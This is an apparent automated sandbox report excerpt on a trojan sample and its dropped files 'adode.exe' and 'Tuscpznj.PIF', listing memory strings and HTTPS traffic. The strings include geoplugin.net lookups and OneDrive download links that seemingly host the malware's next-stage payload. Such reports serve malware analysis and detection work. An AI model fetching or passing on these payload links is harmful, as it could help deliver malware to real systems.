Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, adode.exe, 00000004.00000003.2441068745.0000000000897000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3233976736.0000000000886000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2897470253.000000000089A000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2970437558.0000000000884000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2924688106.00000000008D0000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3398152282.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3583240457.0000000000898000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2897470253.00000000008D0000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2651773256.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3604634780.000000000089A000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3593100783.000000000089A000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2924688106.0000000000886000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2936053075.00000000008D2000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4150586108.0000000000886000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2970437558.0000000000897000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2441068745.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2441068745.0000000000883000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3133359644.0000000000886000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3569520212.0000000000898000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3588993367.000000000089A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp
Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2159845024.000000007EDF0000.00000004.00001000.00020000.00000000.sdmp, Tuscpznj.PIF, 00000006.00000002.2280916321.00000000157BB000.00000040.00001000.00020000.00000000.sdmp, adode.exe, 00000007.00000002.2434683424.0000000015F1B000.00000040.00001000.00020000.00000000.sdmp, adode.exe, 00000008.00000002.2521921052.0000000015E9B000.00000040.00001000.00020000.00000000.sdmp, Tuscpznj.PIF, 0000000A.00000002.2571697457.000000001566B000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp/C
Source: adode.exe, 00000004.00000003.3233976736.0000000000886000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2970437558.0000000000884000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2924688106.0000000000886000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4150586108.0000000000886000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2441068745.0000000000883000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3133359644.0000000000886000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2681130552.0000000000884000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp=
Source: adode.exe, 00000004.00000003.2441068745.0000000000897000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2897470253.000000000089A000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3583240457.0000000000898000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3604634780.000000000089A000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3593100783.000000000089A000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2970437558.0000000000897000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3569520212.0000000000898000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3588993367.000000000089A000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3565997661.0000000000898000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2924688106.000000000089A000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3561485533.000000000089A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpi
Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2161341273.000000007FC80000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2135408936.0000000000A3F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pmail.com
Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2134604580.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000003.2087939360.00000000008BB000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2175082463.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000007.00000003.2417235143.000000000092A000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000008.00000003.2503434982.0000000000833000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 0000000B.00000003.2666381721.00000000006FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://a4wlna.bn.files.1drv.com/
Source: adode.exe, 00000007.00000003.2366157935.00000000008E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://a4wlna.bn.files.1drv.com/B4r
Source: adode.exe, 00000004.00000003.3002735262.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3223217832.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2665633974.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2699820103.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2976227634.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3158290079.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3188199822.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3104851524.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3856623990.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3161654820.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3154708447.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2953713340.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3756339158.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2441068745.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3140335584.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2966180059.00000000008B5000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3502452984.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3208675091.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4160542671.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3143777432.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3214746265.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://a4wlna.bn.files.1drv.com/c
Source: adode.exe, 00000007.00000003.2397443358.000000000092B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://a4wlna.bn.files.1drv.com/h
Source: adode.exe, 00000004.00000003.2156654186.0000000000880000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://a4wlna.bn.files.1drv.com/w
Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2134604580.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2134604580.00000000008BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://a4wlna.bn.files.1drv.com/y4m3u0QFpR4j-D-zfvEHJd1n5xdhOF39iul8b83e3LPDlruW3-qFyfQFrm9rKg0Bjvi
Source: adode.exe, 0000000B.00000002.2674510018.000000000074B000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 0000000B.00000002.2671570521.000000000070B000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 0000000B.00000002.2671570521.00000000006E6000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 0000000B.00000003.2666381721.00000000006CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://a4wlna.bn.files.1drv.com/y4m4b_CI5cntsyPGAhte_fX6_xd82TcwGf6-ScttL3rVGbniBmLrVX3xFBr0Xin3k3K
Source: adode.exe, 00000007.00000003.2366157935.00000000008E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://a4wlna.bn.files.1drv.com/y4m9ba_jdWibhdjzsYE06pfSAK5jWM4VU1vegoZ9qZe8tcqBnFEF58-VGrGQaA0o6Lr
Source: adode.exe, 00000008.00000003.2503434982.0000000000833000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000008.00000002.2508288522.000000000082A000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000008.00000003.2503434982.0000000000826000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://a4wlna.bn.files.1drv.com/y4mGsMbDhrqT4H8M3UmdvR3-ZbVnJl3xtwFC6_sGakQM9FticfdonZeXKszIrN9z6I0
Source: adode.exe, 0000000B.00000003.2647392247.000000000074A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://a4wlna.bn.files.1drv.com/y4m_2nWPYECB6GG727a86yDNcKpSvinlMghbgmzHI5CeDEw_jORpzSM1CuFAwn4HKQA
Source: adode.exe, 0000000B.00000003.2627643959.0000000000746000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://a4wlna.bn.files.1drv.com/y4mdUiIPYXNEP6x1E52EPBxdlhE4rBeiwVK6Xxu6EcclZKL23r2uWnP9oFy272cZk20
Source: adode.exe, 00000007.00000003.2417235143.0000000000943000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://a4wlna.bn.files.1drv.com/y4meU6qisqp4Gm95uhgEmrD5Fk5T1BoqiLt4XZvMwv6bzlgKBxQJrakFKNYDfGzzjMG
Source: adode.exe, 00000004.00000003.2175082463.000000000088C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://a4wlna.bn.files.1drv.com/y4mflJO_DSQpEJhUnhXpDgbo9zdT_az0NyPCpt_6qeEg_dxpc7f8ObiX7_nBis1eJej
Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000003.2087939360.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://a4wlna.bn.files.1drv.com/y4mmL4PBZSGLf1pYr2YfjNrkXkndhxiwwSoTpoHnrAYtwy9Eq6BXHDf1wledd6ZKEsC
Source: adode.exe, 00000004.00000003.2156654186.0000000000880000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://a4wlna.bn.files.1drv.com/y4mpQEh8k2buqyUrIoyF6LQRqdR-W8s6kXvlC8FY4Vl55jnIHsQwPN8EI3RjIX3BvWw
Source: adode.exe, 00000007.00000003.2397443358.00000000008EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://a4wlna.bn.files.1drv.com/y4mvk_lT5boh_iPYb0wYmj3dnm666r79FD-6z_HZ-hY6Y66LFtfIOWZUebIdcaHdlb7
Source: adode.exe, 00000004.00000003.4077501360.000000000088D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3841222672.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4113133335.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3398396517.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3884273916.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3012519615.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3946945896.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3310144503.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3906903571.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2924688106.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4187113177.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4028860883.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3326624951.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3672498845.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3556679228.0000000000876000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3108612542.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3181095394.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4077501360.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3687170466.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3008182974.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3552555580.0000000000877000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://a4wlna.bn.files.1drv.com/y4mzJ69NZkoQpPTH2L-y8c6KUoCTqNFGdhF4vTK8FEI11MdgHTbUFDdiW4StVR25-4M
Source: adode.exe, 0000000B.00000003.2647392247.000000000074A000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 0000000B.00000003.2647319231.0000000000758000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://a4wlna.bn.files.1drv.com/y4mzrTE16B9v_86WpKnH7vysUel0JBT3bRcrjppx2idmvsQH1LZqMw1NRddF8T8RGZ2
Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2134604580.00000000008BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://a4wlna.bn.files.1drv.com:443/y4m3u0QFpR4j-D-zfvEHJd1n5xdhOF39iul8b83e3LPDlruW3-qFyfQFrm9rKg0
Source: adode.exe, 0000000B.00000003.2666381721.00000000006FA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 0000000B.00000002.2671570521.000000000070B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://a4wlna.bn.files.1drv.com:443/y4m4b_CI5cntsyPGAhte_fX6_xd82TcwGf6-ScttL3rVGbniBmLrVX3xFBr0Xin
Source: adode.exe, 00000008.00000003.2503434982.0000000000833000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000008.00000002.2508288522.0000000000837000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://a4wlna.bn.files.1drv.com:443/y4mGsMbDhrqT4H8M3UmdvR3-ZbVnJl3xtwFC6_sGakQM9FticfdonZeXKszIrN9
Source: adode.exe, 00000007.00000003.2417235143.00000000008E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://a4wlna.bn.files.1drv.com:443/y4meU6qisqp4Gm95uhgEmrD5Fk5T1BoqiLt4XZvMwv6bzlgKBxQJrakFKNYDfGz
Source: adode.exe, 00000004.00000003.2175328075.0000000000888000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://a4wlna.bn.files.1drv.com:443/y4mflJO_DSQpEJhUnhXpDgbo9zdT_az0NyPCpt_6qeEg_dxpc7f8ObiX7_nBis1
Source: adode.exe, 00000004.00000003.2156654186.0000000000880000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://a4wlna.bn.files.1drv.com:443/y4mpQEh8k2buqyUrIoyF6LQRqdR-W8s6kXvlC8FY4Vl55jnIHsQwPN8EI3RjIX3
Source: adode.exe, 00000007.00000003.2397443358.00000000008EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://a4wlna.bn.files.1drv.com:443/y4mvk_lT5boh_iPYb0wYmj3dnm666r79FD-6z_HZ-hY6Y66LFtfIOWZUebIdcaH
Source: adode.exe, 00000004.00000003.2743711945.0000000000876000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://a4wlna.bn.files.1drv.com:443/y4mzJ69NZkoQpPTH2L-y8c6KUoC
Source: adode.exe, 00000004.00000003.3556679228.0000000000876000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2441068745.0000000000876000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2907189978.0000000000876000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3283144779.0000000000876000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4160996263.0000000000876000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2953713340.0000000000876000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2665633974.0000000000876000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3856983604.0000000000876000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://a4wlna.bn.files.1drv.com:443/y4mzJ69NZkoQpPTH2L-y8c6KUoCTqNFGdhF4vTK8FEI11MdgHTbUFDdiW4StVR2
Source: adode.exe, 0000000B.00000003.2666381721.00000000006FA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 0000000B.00000002.2671570521.0000000000708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://live.com/
Source: adode.exe, 00000004.00000003.3283144779.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4098316675.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3703401111.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3653371176.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2936053075.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4169072336.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3823660413.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3212100877.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2844260322.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3319812944.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2993957950.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2464044779.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2760453671.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3208821785.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3657170713.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2480570712.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3910304327.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4066418903.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2814123631.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2708388480.000000000087D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2686129475.000000000087D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://live.com/B
Source: adode.exe, 00000004.00000003.2175082463.000000000088C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://live.com/F
Source: adode.exe, 00000004.00000003.2156654186.0000000000880000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://live.com/J
Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2134604580.0000000000902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://live.com/zr2
Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000003.2087939360.00000000008BB000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000007.00000003.2417235143.000000000088E000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000007.00000002.2421306141.00000000008AF000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000008.00000003.2503434982.00000000007CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/
Source: adode.exe, 00000008.00000003.2503434982.00000000007CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/;
Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000003.2087939360.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/download?r
Source: adode.exe, 00000004.00000003.2441068745.0000000000848000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4150586108.000000000084D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4160996263.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3382212434.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3242979672.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3938367016.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3887590993.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3072876181.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3848402012.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3807553569.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3502596212.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4200373584.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2970437558.000000000084A000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3660893269.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2936053075.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2990216210.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4140041226.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2976907613.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3484265545.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3583240457.0000000000851000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3743594443.0000000000851000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/download?resid=D2FF5C6240820574%21686&authkey=
Source: adode.exe, 0000000B.00000003.2666381721.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 0000000B.00000002.2671570521.00000000006BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/o
Source: adode.exe, 0000000B.00000003.2666381721.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/r

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49740 version: TLS 1.2
